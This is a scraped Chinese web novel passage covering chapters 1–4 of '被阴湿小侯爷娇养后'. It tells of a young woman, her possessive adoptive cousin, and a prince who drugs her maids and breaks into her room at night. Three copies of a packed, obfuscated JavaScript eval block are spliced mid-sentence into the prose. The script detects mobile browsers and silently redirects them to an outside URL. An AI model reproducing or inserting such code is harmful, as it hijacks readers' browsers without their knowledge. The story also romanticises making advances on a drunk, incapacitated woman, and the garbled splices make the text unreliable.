《被阴湿小侯爷娇养后》 1. 佛寺还愿 半空中玄云凝黛，雨意潜生；侯府内绛灯千盏，恍若明霞。 那壁厢人声鼎沸，胜曲江之春潮；他这里缱绻萦怀，赴楚台之幽梦。 “今日大喜，我特携佳酿，恳请与姐姐共饮。”项梧意有所指，提起酒壶为她斟满。 慕池见他待己亲厚，甚为感动。 想自己孤苦无依，幸蒙先伯父伯母恩养寄居府上。寻常骨肉至亲之间尚有龃龉，而二人数年相处，未尝有一言失和，皆赖他处处容让。 慕池平日里滴酒不沾，此时却不想扫了他的兴致，笑盈盈道：“新科探花郎发话，敢不从命。” 澄黄的酒液流转在白瓷杯里，分外诱人，慕池饮入喉中，唇齿留香。 项梧一连劝了几杯，诱她入局。 慕池不胜酒力，不多时已看不清眼前清俊少年的神情。 “姐姐说今日会送我礼物，还记得吗？” 她听了个大概，想要否认却说不出整话。 “没说…不过…想要什么…” 慕池醉了，她平日端庄自持，极少失态，此刻也强用手撑着脑袋，努力保持清醒，却不知自己目含水光、颊带春色。 项梧在灯下观瞧美人，眸色深深。 “我想要什么都会给吗？” “什么？”慕池入耳之声断续。 “姐姐还想喝吗？真是放纵。” 项梧故意曲解她的意思，口中责怪，却甚为宠溺地把自己用过的酒杯递到她唇边。 慕池下意识启唇。 项梧心头一颤，恶劣地让酒液顺着白皙的脖颈滑落，洇湿一片。 快要入夏，春衫单薄。 打湿的衣服贴在身上难受，纤纤玉指拨弄着衣领，却总得不到纾解，反而暴露出莹白的肌肤。 项梧像是发现了有趣的游戏一般，把剩下的酒都“喂”给她。 慕池被呛到，胸口剧烈起伏。 项梧从背后揽住她安抚，反而点起一把火，愈演愈烈。 慕池朦胧中攀上他的手臂阻拦。 “这就不想要了？不可以。” 项梧故意把气息吐在她的耳边，引逗得她向另一边偏去，窥见她面若红云。 此时慕池发髻还算齐整，下一刻就被他解下金簪，褪去珠玉。 骨节分明的手指在乌黑柔顺的长发间游走。 慕池呢喃，隐约是“朝阳”二字。 项梧兴奋得呼吸加重：“姐姐，我也爱你。” 这夜里，风卷浓云银蛇乱，天河倒泄骤雨倾。 次日晨起比寻常晚了些，坐了一个时辰的马车，慕池到了京郊的万佛寺。 山不在高，有仙则名。万佛寺不是敕建的寺院，却连宫里的贵人都会不时踏足此地，只因为有个觉明和尚。 慕池并丫鬟们被接引僧人带到了女客休息的禅房稍作休整，随后把香油钱和手抄佛经给了知客僧，前往大雄宝殿参拜佛像。 慕池抬头看了阵，果然宝相庄严，目含慈悲，只是金灿灿的有些晃眼。 她躬身下拜，情真意挚地感谢佛祖保佑项梧金榜登科，又为昨夜的绮梦向佛祖告罪。 丫鬟们被赐宴在别处欢庆，不甚清楚状况，只说她昨夜醉得很，打翻酒壶湿了衣裙，侯爷就叫人进来服侍她换洗。 想项梧是何等端方守节的君子，慕池深责自己做出那样的梦玷污他，实在是辜负伯父伯母养育之恩，是以昨夜之事她只想忘记、再不细究。 回禅房的路上遇到了一个胖和尚，他拦下慕池，开口便言她有慧根。 “师父有礼了，”慕池双掌合十躬身，“弟子才刚拜过佛祖，正欲回返，有幸遇见师父，不知有何赐教？” 那和尚仿佛天生一张笑脸，说出的话却讨厌：“姑娘的命不好，今生注定多灾多难。若肯看破红尘，随我云游四方，或许还有转机呀，哈哈哈~” 青霜是个暴脾气，上前正准备怼回去，被慕池拦下了。 “多谢师父，敢问师父法号。” “施主要到住持那里告状吗？也罢，话既然是贫僧说的，也别冤枉了旁人，贫僧法号觉明。” 弥勒长相，言行怪异，果然是他。 “师父误会了，弟子于尘世中还有许多羁绊，不敢此时跟随修行。问清师父法号，来日才好追随。” 伯父战死沙场身首异处、伯母殉情而死、回京路上又派人截杀使她重伤，忠勇侯府与北狄有血海深仇，现今大仇未报、北狄猖獗，她安肯避世？ “莫恋红尘，早早归去～”觉明说完这句莫名其妙的话就径自离开了。 青霜知道小姐平日里甚爱佛法，怕她真动了出家的心思，劝道：“小姐，咱们府上近来可全是喜事，觉明和尚胡言乱语，您别放在心上。街上算命的还要个生辰八字呢，他都不知道您是谁，这种话张口就来，可见平日里没少骗人。” “你倒是个不信佛的，觉明大师备受尊崇，他肯来指点一二，我怎能不细想呢？” “大师再厉害也是人不是佛，您不是常说嘛，经典尚有不足，他的话又还没入经典，依我看不可尽信。小姐你不知道，他们这些人专门招摇撞骗，缺德得很！” “好伶俐的丫头，竟是我自寻烦恼了。” 青霜被夸了，很是得意。一行人回到小院，她让其他丫鬟下去，自己在屋里和慕池说话，还卖了个关子：“小姐，我接下来说的话您可别不乐意听啊。” “说吧，我几时生过你的气？” “我可说了啊，坊间传闻，万佛寺有这样一条不成文的规定，捐一百两的功德钱就能见觉明一面，五百两能让他说人有慧根，一千两能让他指点迷津，咱们来了这几次，加起来也够一千两了，再往上……”青霜不知想到什么，笑得很开心。 “再往上怎样？”慕池的好奇心被勾起来了。 青霜止住笑道：“小姐想想，哪家捐的功德钱最多呀？他们家的二公子可不就是大师的至交好友，一等一的智慧之人？” 青霜说完又笑得花枝乱颤，慕池被她的模样逗乐：“你还算懂事，知道这种话得私下里说。” 好容易出来一趟，慕池不着急回去，此处虽然不比侯府景致清雅，却也别有一番意趣。 上午佛事已毕，用罢素斋午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378350|200138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 休片刻，慕池坐在院子里看丫鬟们练习武功。 一只蓝背金腹的鹦鹉飞了进来，满院子转了几圈后落在慕池面前的石桌上。 这样的艳丽毛色实在少有，慕池忍不住多看几眼，伸手想要摸摸它。 鹦鹉突然大声叫道：“你真好看！你真好看！” 慕池笑了，不是因为鸟儿“夸她”，而是想到这鸟儿的主人平日里教它说话的场景。这样的姿色，也不枉主人一遍遍赞美了。 刚想让人抓住它去寻找失主，他就自己找上门了，不过是逾墙而入。 此人金袍玉带，头戴珠冠，通身气派不似寻常纨绔。 这里是女客的禅房，原不是他该来的。他这样闯进倒没有半分羞惭，直直朝着鹦鹉走去，目中无人，也不顾丫鬟的喝止拦阻。 却道他：本来顽石一块，专爱污渎打滚，和尚空口许慧根，只待春雨涤尘。天地不曾孕育，日月未尝施恩，死生不见无相门，怎配访东溟？风流场中贪游戏，难民堆里怕沾身，不吝千金塑佛像，惯善倚势欺人。莫惊奇锦绣堆里无仁义，只皆因餐餐食民。 慕池见他不知礼法越走越近，收起笑容，站起身嘱咐青霜几句。 男人好似这才注意到鹦鹉旁边还坐了个人，往那儿一瞥就停住了目光。 真个是：玉貌凝霜，瑰姿艳逸，眉敛群山之翠，目含秋水而清，百花仙子应羞见，原来神女出蟾宫。 慕池转身躲到屋里，男人仍旧痴痴地盯着。 “大胆贼人，为何闯进院里，若不说出个好歹，我定要拿你见官！”青霜喝骂。 “本王不是贼人，只因一时不备，让鹦鹉飞走了，情急之下追到此处，不是有意冒犯。” 男人这时候又懂了几分礼节。 “你说鹦鹉飞到此处，鹦鹉何在？” 原来那鸟儿说话间不知飞往何处，此刻已不在院中。 男人找寻不见，也不着急，反而致歉：“在下今日冲撞了你家小姐，不知小姐府上在何处，改日一定登门赔礼。” “既然此处没有你要找的东西，你就该速速离开，再敢多舌，休怪我们动手！” 青霜下令，五六个丫鬟拦在男人身前摆好架势要赶他出去。 男人还不欲走，另有一个人捉到了鹦鹉回来对他说了些什么，他这才不舍地离开了。 慕池听着外面的动静，知道那个祖宗走了，心下稍安。 万佛寺内有三五百武僧，能在女客住处乱闯的人身份必然不一般，年岁也对得上那位，况又敢自称“本王”。 青霜进屋轻声道：“真是怪了，才提过他，这就见到了，往日也不见我的嘴这么灵。” “还说这种话，我不是交代快点把他打发了，他怎么还言登门道歉？若真有道歉的心也不会不管不顾地闯进院子了，他的意思可像是威胁？” “小姐，他哪是威胁呀，白娘子游湖借伞的时候唱''问郎君家在何方住，改日登门叩谢伊''，难道也是威胁不成？” “少看些戏文话本，满嘴胡言。” 慕池难测贵人之意，不敢多留，让人备好马车动身回府。 2. 人生四喜 慕池回到了忠勇侯府，留青霜、司衡陪着。 说话间想到了昨天项梧说他害怕雷声的事，左右慕池不把她们当外人，就问：“京中可有人能治惧雷的毛病？侯爷从小就怕，原以为年岁长自然就好了，谁知这些年他瞒着，昨夜才告诉我，我让他看大夫他又不肯，你们有什么办法？” 青霜和司衡对视一眼，都从彼此的眼睛里看到了不解。 司衡问道：“侯爷小时候害怕是怎么办的？” “我只记得很小的时候，他怕伯父知道了生气，不愿说出来，只告诉了我。每逢阴雨天，都是我悄悄把他哄睡的。” “要不咱们在府上挑个人哄侯爷睡觉？”青霜提出建议。 司衡看慕池深以为然的样子，马上出言拦阻：“小姐，侯爷若是这个意思，自己就把丫头给收进房了，哪儿用得着到今日？这种事您还是再问问清楚为好。不过您和侯爷也该说亲了，侯爷要真有此意，还得请尚书府的长辈来相看操持。” 慕池点点头，把司衡的话听进去了。 次日早膳时间，项梧带来一只玉镯子。 “怎么想起来送我这个？你平日里也不关注这些金玉物件儿。” “偶然间看到了，觉得很适合你。我给你戴上吧。” 玉镯衬得她肌肤莹润，果然十分合宜。 “今日我还带了药膏，照着原来的方子配的，这几天阴雨，你的手必然酸疼。” 右手上的伤是五年前回京时被北狄贼子截杀所致，项梧总是为此自责，恨不能当初是自己引开追兵。 “劳你挂心，今年好多了。你先放在这儿吧，等饭后再上药。” 项梧拒绝了她的提议，用食指指腹蘸取药膏，牢牢拉住她的右手，不让她抽回，细致地在腕上涂抹着。 慕池感觉痒痒的，道：“太慢了。” “要均匀涂开，还得揉一会儿，才能吸收药力。” “过会儿粥都要凉了。” “凉了再热。” 腕上涂好，项梧又搭上她的手指。 “分开。”项梧温柔地命令。 也是一点点的涂抹，他体贴地照顾到了每一寸肌肤。 药膏涂完了，项梧用帕子慢条斯理地擦净手指：“好像多了些，姐姐先忍一忍吧，等会儿我帮你擦掉。” 慕池不喜欢现在手上黏糊糊的感觉，但左右就一会儿，她也没说什么。 自己伤了之后，项梧没少寻医问药，几年下来他也算粗通医理，慕池不忍拒绝他的好意。 感觉上药的时间挺漫长的，但其实没过多久，早膳尚温。 她刚想用左手握住汤匙，碗就被项梧夺走了。 “我喂你。” “我左手也能用的，你放下吧。” “张嘴，啊——” 汤匙送到嘴边了，慕池被迫接受了他的好意。 项梧像那夜喂酒一样喂她。 “我叫个丫鬟进来吧。” “快结束了。” 慕池这样吃完了饭，迫不及待地喊人净手。 她突然想起来一桩事：“前儿我丢了个香囊，你见到了吗？” 别的倒还罢了，偏丢的那个是她亲手所做，格外难看。 项梧从怀中取出藕荷色绣了兰草的香囊递给她。 慕池翻看：“不对，这不是我做的那个。虽然它真的很像。” “有什么不一样吗？” “这个绣的比我好，看得出你已经认真模仿了，但在这方面我还是有点自知之明的。” 慕池回忆起从前，她要是犯了错，伯母就会罚她抄书或绣花，项梧为了帮她尽快出去，抄了不少的佛经和《女诫》之类的书，还学会了刺绣。到后来，项梧绣的比慕池都要好了，还得模仿着她拙劣的绣工。 现在这个香囊正是出自项梧之手。 “为什么不把原来那个还给我呢？” “不小心弄脏了，就想做个一样的还你，收下它，原谅我，好不好？” “脏就脏了，我怎么会生你的气呢？”慕池安抚他。 “那我给你戴上。”项梧把自己做的香囊认真系在她的腰间。 “你什么时候偷拿走的？我怎么一点不记得。” “醉酒之后的事，姐姐还记得多少？”项梧试探性问她。 慕池以为他是在笑话自己打翻酒：“我知道自己失态了，以后再不敢饮酒。” 项梧失望。 “你拿走香囊做什么？” “有它陪着，仿佛姐姐就在身边，我睡得很安心，连雷声也不怕了。” 慕池没想到它能起作用，想了想如何引出话题。 “我听闻民间有个什么四大喜事的说法，你可知道是哪些呀？” “我不知道。” 青霜、司衡不在身边，慕池有些不自在，但还得继续说下去：“我依稀记起来了，好像是什么‘久旱逢甘雨，他乡遇故知，洞房花烛夜，金榜题名时’。” “我也想起来了，正是这四件。” “你大有福气，已经占了一样，前两样又可遇而不可求。”余下的话她实在有些说不出口。 接下来她要说的话项梧听到过很多回，不过俱是在梦中。 “这是何意？” 项梧的声音有些哑，慕池沉浸在自己的情绪里没注意到。 “朝阳。”慕池下定决心，说出了第一句话。 “嗯？” “这些话本不该由我来说，只是家里情况特殊。前几年一则是在孝期，二则你年纪尚小，怕扰了读书，就一直没给你定亲。今年十七了，也该托尚书夫人帮忙相看合适的人家，把亲事定下来。” 项梧好似被当头浇了一盆凉水，平复下来后半开玩笑道：“哪儿用这么麻烦，不如我与你一娶一嫁，不干外人的事，岂不方便？” 慕池与他情同姐弟，闻听此言大为震惊，远离他几步背转身责怪：“你在…胡说什么。” 项梧追上来绕到她面前，真诚发问：“你只是寄居在府上，我们之间没有任何关系，《南华律》都说可以，你为何认为这是胡说？” 慕池再次转身，艰难开口：“我视你如弟……” “是我经常唤你‘姐姐’的缘故吧，”项梧又追上她，“我以后唤你‘夫人’，如何？” 慕池皱眉，深吸一口气：“你说出这种话，教我以后再不敢见你了，我明天就搬出去。” 项梧知道她说一不二，暗骂自己心急，连连道歉：“我无意成婚，与你开个玩笑，千万别恼了。父母在天之灵看到我把你气走了，肯定会怪我的。以后我再也不敢了～” “你不愿我催促就该直说，不该如此戏弄。” 项梧温声道：“我知道错了。” 慕池面色稍霁，原谅了他。 项梧舒口气，反过来问道：“你我一般大，你是怎么打算的？” 方才慕池问过项梧，此刻也不好避而不答。 项梧见她犹豫，又添了一句：“此间更无六耳，何妨说与我听？” “我哪儿还敢奢求什么。” 项梧忘记了她的隐忧，觉得她千好万好，此刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378351|200138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些吃味：“他到底是什么样的人，竟能让你用上''奢求''二字。” 慕池走到桌案边，她随意拨弄几下琴弦，道：“欲将心事付瑶琴，知音难觅，弦断有谁听。我虽不甚精通音律，却也渴盼一位知音。” “我知你有何心事。你每日练武，寒暑不辍，必有大志，只可惜身是女儿，不能亲临战阵。” 慕池被他猜中，微微颔首：“所以我欲于将门择婿，异日也好随军。总有一天，我要夺回北疆一十二城，用北狄贼子的鲜血，祭奠南华将士和百姓的亡灵。” 言及此事，慕池的气质陡然一变，往日里闺阁小姐的柔顺顷刻间荡然无存，眉宇间尽是英气与豪迈。 项梧知道后者才是本真的她，只是多年来被规矩压制着，不得已才套上一层外衣。 “姐姐放心，我会留意京中武将，有一二出色者说与你听。” 项梧还想再拖延一年半载，让她慢慢接受自己的心意。 “有劳你。” “明天你会看我游街吗？” “街上热闹，我不便出去。” 她又变成了一个温婉的闺秀。 却说当朝楚王殿下去万佛寺会友，临走时捐银三千两，第二天一大早就去慈宁宫拜见太后。 太后还未梳妆完毕，楚王坐在旁边的椅子上同她说话。 “母后，儿臣昨日去万佛寺上香为您和皇兄祈福，恰巧碰见了觉明大师。” “大师佛法高深，不常在寺院里，难得遇见，钺儿应该多和他聊聊。怎么今日这么早就来母后这儿了？可是大师说了什么？” “儿臣正欲禀明母后。母后连日里为儿臣择妃劳神，儿臣屡违圣意，实属不孝。本不欲伤母后之心，然与诸小姐终是无缘。怎奈缘分玄微，未敢轻言。昨日幸得高僧点化，今敢据实回禀。”楚王说着就跪下了。 “钺儿快起，这话说的也太重了。” 旁有嬷嬷扶起楚王。 “我儿与哪家小姐有缘啊？” “是忠勇侯府家的小姐，儿臣对她一见倾心。” “忠勇侯？” 太后没想起这是哪号人物，旁边的嬷嬷向太后简要说明了忠勇侯家的情况。 “原来是新科探花的姐姐，门第略低了些，只怕不能做你的正妃。” “儿臣只求赐婚，其余都听母后安排。” 亲王侧妃也是能让太后下一道懿旨的。 太后不放心，详细问了楚王他们是怎么见面的，生怕其中有别人的算计。一番盘问下来，太后觉得忠勇侯府的小姐还算规矩。 “钺儿不要着急，侧妃也不是那么快能定下的。这些日子乐陵要办个赏花宴，哀家在那儿见见她再说吧。” “母后，她要是推说生病不去赴宴怎么办？” 太后忍俊不禁：“你当别人都跟你一样大胆不成？哀家派人去帮乐陵筹备，她不敢不到。” “如此，儿臣多谢母后了！”楚王给太后一连作了好几个揖。 他欢欢喜喜走出宫门，心道这三千两银子真没有白花。得亏有大师在中间，事情才能这么顺利。 想起那小姐的容貌他就心神荡漾，寺院里只是惊鸿一瞥，他就仿佛被摄去魂魄，整日里魂牵梦绕。 他深谙先下手为强的道理，虽说当朝能与他争的只有皇兄一人，但不怕一万就怕万一，名花还是早些有主为好，毕竟皇兄现在最宠爱的贵妃也没有她貌美。 若是个平民女子该多好，就不必这么麻烦了。 须等到赏花宴才能再见面，中间的日子可怎么熬呢？ 3. 夜探香闺 当晚三更时分，慕池被吵醒。听到外面窸窸窣窣，似有几人走动，眼下已经到她房门口。 慕池躺在床上睁大眼睛努力适应黑暗，平日藏在枕下的匕首终于派上用场，她屏气凝神，不敢发出响动。 一人推门而入，带着光亮，而后是关门声。 如此想必就不是鬼魂了，但不知是怎样大胆的贼人敢来送死。 慕池看到光亮越来越近。 她不住地想等会儿探进床帏的会是什么兵器，自己应该用何种招式应对。 幸而是手。 一息之间，项梧把贼人擒住，用匕首架在他脖子上，灯笼落地熄灭。 屋外人听见异常响动闯了进来，约有五六个。 “再过来我杀了他！”慕池在匕首上施力。 “都站住！”被压制的贼首忙下命令。 那些人果然听命站住，和慕池对峙。 慕池不满意，加深了力道，已经划破了他的肌肤。 “小姐，我是楚王。” “大胆！竟敢冒充皇室。你们分明就是一伙儿贼寇！我与楚王素不相识，他为何要深夜到此？” 贼人慌忙解释：“我在万佛寺对小姐一见倾心，故而深夜到此，小姐不记得我了吗？他们是我的暗卫，小姐快快放下兵刃，莫要伤我。” “有何凭证？” “我身上带了令牌，小姐点亮灯烛一观便知。” “我怎么知道这不是计策呢？点亮灯烛，我寡焉能敌众？” “小姐你说该怎么办，我都听你的。”贼人瑟瑟发抖。 慕池见闹出这样大的动静丫鬟们还不过来，问道：“你们把院儿里的其他人怎么着了？” 慕池在灯灭之前就看到此人华服玉带，又听他声音耳熟，已有六七分信了他的话。 楚王殿下是太后幼子，当今皇上的胞弟，京城里第一等的贵人，慕池不敢多伤他。 “只是让她们吸入了迷魂香，睡一觉就醒了，不曾害命。”一暗卫道。 慕池不由得后怕，倘或这些人也对自己用了迷魂香，现在的景况该是如何。 慕池问楚王：“你带了几人？” “六个人。” 慕池下令：“刚才说话的人卸掉其余人的胳膊。” 几人不动。 慕池换个地方加深力道，吓得楚王大喊：“快，都听她的！” 慕池听到了十声响。 “再卸了自己的胳膊。” 慕池很快听见一声响，他另一条胳膊是让同伙踢脱臼的。 “现在退出去。” 暗卫很听话，慕池也达成了目的。 她撕下床帏捆住楚王的手脚，然后穿好外衣，下床点灯。 举着灯烛，她取出他身上黄金令牌，仔细观瞧，但见纹样精美，不似凡品。 又看他容貌，果然在寺院见过。 楚王趴在床上，颇为屈辱：“小姐既然看清了，还请快快与我松绑。” “我没见过令牌，不能辨别真假，暂且扣下当做罪证。你怎么知道我院子的位置？” “你府上一个叫寻月的丫头，她告诉我的。”楚王出卖得很痛快，且毫无负担。 慕池知道寻月，是她院儿里的一个二等丫鬟，擅使剑器。 楚王能自由活动后，立刻下床。 “殿下深夜来此，我以为是贼人，才下如此重手，若早知是殿下，岂敢伤您呢！” 楚王对美人格外优容。 “无妨，本王不怪你。” “多谢殿下恩典，”慕池略施一礼，“但不知殿下到此所为何事？” “我……”楚王言语支吾，“我对小姐一见倾心，甚是思念小姐，心痒难耐，寝不安席，故而深夜造访。” “啊！”慕池满脸惊恐，忍不住后退两步，而后羞愤难当，“殿下当我是什么人！青天白日里，当着众人，有多少面见不得？你偏要做出深夜私会这种龌龊勾当，传扬出去叫我怎么做人！” “还不如现在就不活了，让我清清白白地死了干净！” 说话间慕池举起匕首就要抹脖。 楚王当然不忍心，慌忙去拦，夺过匕首扔在地下，道：“小姐莫要如此，都是小王的错。” 慕池躲过他的搂抱，背转身假装拭泪：“现在不是说话的时候，您回去吧。” “小姐就不肯体谅我相思之苦吗？” 楚王油盐不进，在凳子上坐下了，看来轻易不肯走。 慕池似有动容，回身关切地问他：“您的伤口还疼吗？” “还有些疼，看来小姐还是关心我的。” “罢了，这原本就是我下手太重，我这里有金创药，肯定不比宫里的，还望您不嫌弃。” “有劳小姐了。” 慕池去取药的时候听到了暗卫接胳膊的声音，这样的疼痛，难为他们一声不吭。只是不知第一条胳膊是怎么接上的，也是用腿踢的不成？ 如此坚忍之士，竟被用作偷香窃玉之帮凶，何其可叹。 慕池坐在楚王旁边，用手指沾了粉末往伤处抹去，疼得他倒吸了一口凉气。 她表现出十分愧疚的样子，慌忙收回手道：“是我弄疼你了吗？我从没给人上过药，若有不对的，你千万别怪我。” “小姐轻一点就好。” 楚王盯着慕池的眼睛，他还是第一次这么近距离看她。 “嗯。”慕池答应一声，不辨喜恶。 她又沾了粉末轻轻抹在伤口，到最后时，楚王想要拉住慕池的手，她一紧张不小心把指甲戳在伤口里。 慕池深深自责：“我真的不是故意的，我真是太笨了，什么事都做不好。” 楚王这次疼得渗出冷汗，说不出话，没空安慰她。 过了会儿，慕池问道：“你还好吧，脸色有些苍白，要不还是赶快找太医看看吧。” 楚王还是有些不甘心就这样走了。 慕池拿来镜子让他看，只见脖子上一深一浅两道拇指长短的伤口，往外渗出血，糊上的白色粉末混了脓血变成红褐色，对他来说确实可怖。 “好，今日我先回去，我已经向母后求旨，我们还会再见。” 楚王的屁股离开了凳子。 慕池送他到门口，冷眼看着这些暗卫上拽下托地送楚王翻墙出去。 她住的位置太偏，且已经暴露了，再不安全。 经过刚才那一顿闹腾，慕池不敢熄灯，也不敢上床。 只有千日捉贼，哪有千日防贼，这一晚上慕池风声鹤唳。 次日，项梧来找慕池晨练时察觉了异常。 院里的丫头们今日都格外惫懒，这个时辰了还不起来。 项梧没等到人为他通报，径自进去。 慕池的房门闭着，他敲敲，没人应。 项梧怕出什么事，顾不得许多，推门而入，往床榻走去，看到床帏被撕得破烂。 地上还有把沾血的匕首。 心中不安愈盛，他抽出架子上的宝剑。 经过妆台，蜡已燃尽。 能看到锦被下有人，但那不是慕池的身形，或者说不止她一人。 想象到的每一种可能都让他抓狂。 他握紧剑柄，目眦欲裂，正欲挑开锦被，听到衣柜里传来金属敲击声。 项梧忙回身打开柜门，他心心念念的人正在里面和衣蜷缩着，手持短斧，看上去非常疲惫。 看到她平安无事，他激动地跪下去抱紧她，轻声问道：“你怎么在这里？床上是谁？” 衣柜狭窄，慕池怕他被斧子伤到赶忙抛到一边。 “衣服。” 项梧心头的杀意暂且退去。 “发生什么了？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378352|200138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “楚王来过，我怕他折返，不敢睡。” 项梧闻言，把她从衣柜里解救出来，打横抱起往外走。 “去哪儿？”慕池腿麻了，只得揽住他。 “换个地方睡觉。他没伤到你吧，我看匕首上有血。” “是我伤了他。还好他轻敌没对我用迷魂香，那是什么东西，你知道吗？” “江湖上一种下三滥的迷药，多为贼人谋财害命时所用。” “若是清醒着，不慎吸入会立即昏迷吗？” 项梧摇头：“没有那么强的功效。” “还有其他能让人不清醒的药吗？” 慕池这次险些吃大亏，她势必要做好准备，防止楚王再用这样的手段。 “我不太清楚。你若想知道，我让人仔细查查。” 慕池表示理解，项梧又不是楚王那样的卑鄙小人，他肯定不知道这些事。 “如果能够买到这些药就更好了。” 项梧警惕地问道：“你想做什么？” “若是对身体无害，我自己先试试。” “不可，你不能试！” “你放心，我会注意剂量。我自己提前试过总好过被别人害。” “那我来试，我告诉你感觉可以吗？” 慕池心意已决：“不一样，你若有时间可以过来看着我，我不会伤害自己的。对了，先把寻月关起来。” “好。”项梧没有多问。 “我袖子里藏了他的令牌，你辨一下真假，看它日后能派上什么用场。还有，这件事别闹大，我不想把自己赔给他。” 他的怀抱让慕池格外安心，心头的戒备和害怕逐渐烟消云散。 慕池再醒来时已经是下午了。 睁眼看到是陌生的地方，她吓了一跳，随即反应过来这是项梧的卧房。 青霜守在门外，听见响动立马进来。 她“扑通”一下跪在床边，道：“小姐，我对不住你。” “快起来。”慕池的声音有些哑。 青霜把枕头叠放让她倚靠，倒了温水递过去。 “府上没人出事吧？” 慕池发现了一个香囊，正是绣了丑丑的兰草的那个，她在手里翻看，并没有污渍。 青霜摇摇头：“没有，只是大家好像中了迷药，才睡得那么死。” “对，所以你不要自责，咱们毕竟没见过这种手段。” “侯爷临走前交代不要打扰小姐，并吩咐把之前院子里的您的衣饰都搬到栖霞阁，其余陈设之类全都换了不一样的，现在已经收拾妥当了。” 栖霞阁距项梧的枕云轩很近，位于侯府中心，想要闯进来不容易。 难为他细心，还改了陈设避免她回忆起昨夜之事。 慕池只说了一句“在这睡不着”，项梧就能深解她意，不愧是青梅竹马。 昨晚楚王说曾向太后求旨，宫中向来谨慎，至少得见一面才能决断。 在旨意到来前，要么拒绝楚王并劝退他，要么先嫁他人，方可解除此难。 虽然楚王身份尊贵，但慕池观其言行，认为他就是一个酒色之徒，绝不能够成就大事，不可以托付终身。 昨夜他甚是痴缠，怎会轻易放弃，慕池想想就头疼。 “小姐，宣国公府上送来乐陵县主的请帖，请您过目。来人说当天太后娘娘会亲至。” 慕池接过，发现时间就在三日后。 乐陵县主是当今太后娘娘的侄孙女、安贵妃娘娘的侄女，因聪明灵慧深得太后喜爱，十五岁时被封为县主，虽另有府邸，但现在仍在宣国公府上居住。 慕池对县主早有耳闻，这几年她常常设宴请公子小姐们写诗作文，颇受文人才子推崇。 赏花宴上，该怎么被太后娘娘讨厌呢？ 慕池想到了个主意，正好可以一箭双雕。 4. 表哥拦路 项梧进了房门：“怎么不多睡会儿？” 青霜让了位置，项梧坐到床边。 慕池拉着他笑道：“说说跨马游街的盛况吧，早上你在外面热闹，我却在家里睡大觉。让我瞧瞧，你身上多出什么，又少了什么？” 确实有不少姑娘扔来帕子和香囊，但他不屑一顾。 项梧低着头，看不清神情：“家里什么都有，不需要别的。” 慕池以为他在害羞，暂时放过。 “我有一事想同你商议。” 慕池把刚才收到的帖子和自己的打算都说给他听。 慕池看他有不悦之色：“你觉得我太张狂了吗？” “不，我不是在想这个，”项梧心里酸涩，努力压制情绪，“倘若届时没遇上合适的人，你打算怎么办？” 慕池一时间没想到这个问题，她以为京中俊杰如此之多，难道就找不出一两个让她满意的？ 可是她身份并不高贵，未必能有那么多人给面子，这个问题就值得考虑了。 合适与否的核心标准只有一条：假以时日能否掌握兵权。 这条标准下面又会有细小的分支：出身（父辈权力）、武力与智谋水平、未来规划…… 如果综合评定后不符合标准，慕池不想屈就。 可此事过后，她的亲事怕是不容易了吧。 项梧替她掖了掖被子：“不若留在家里，我也能帮你实现愿望。” “我知道你待我好，可你有自己的未来，”慕池冲他笑笑，坚定道，“此事不成，我就乔装改扮从军，本来就应该走这条路的。” “那我跟你一起走！” “你说出这种话，教我怎么放得下心呢？” 慕池也不想和他分离，他说出的话还跟孩子一样，往后官场里不知要遭到多少算计。 项梧已经不想利用孩子的形象对她撒娇了，此时愈加烦躁：“我没有开玩笑，你敢离开，我马上就追过去，无论天涯海角。” “数年寒窗苦读，好不容易博来的功名，你怎么不珍惜呢？我记得你参加童生试，还是偷跑出去的。” 那年项梧十岁，他们还生活在边疆，伯父伯母还在世。 伯父并不想让项梧走科举的路子，因此那年参加童生试是慕池帮着他偷跑出去的，事后二人都挨了罚。 “这世间上我只有你一个亲人了，你比其他任何人、任何事都要重要。” 慕池知道这句话的意思是说他们之间关系亲厚，论起血脉亲缘，伯父那边有忠武侯府上诸人，伯母那边有叶尚书府上诸人，哪一个都比他们之间更为亲近。 可他这些年用功读书，在两边都走动不多，所以感觉孤独。 慕池决定帮助他找到一个可以替代自己的角色后再离开。 慕池握住他的手安慰：“你也是我最重要的人，我不轻易离开。” 承诺的话缓解了阵痛，但项梧觉得这还不够，远远不够，他想要把话中的“轻易”去掉，他想要更多的爱意。 可是他不知道该怎么办，上次妄动已经吓到她，本来打算抑制自己的情感，可该死的楚王又来搅局。 类似这样的话，他感觉自己再听一遍就会疯掉。 他把手往后撤，沿着掌心把手指送到她的指间，与她十指相扣。 “寻月那边已经问出来了，楚王要了你的位置、喜好和行程，那边送她二百两银子，并承诺纳她为妾。” 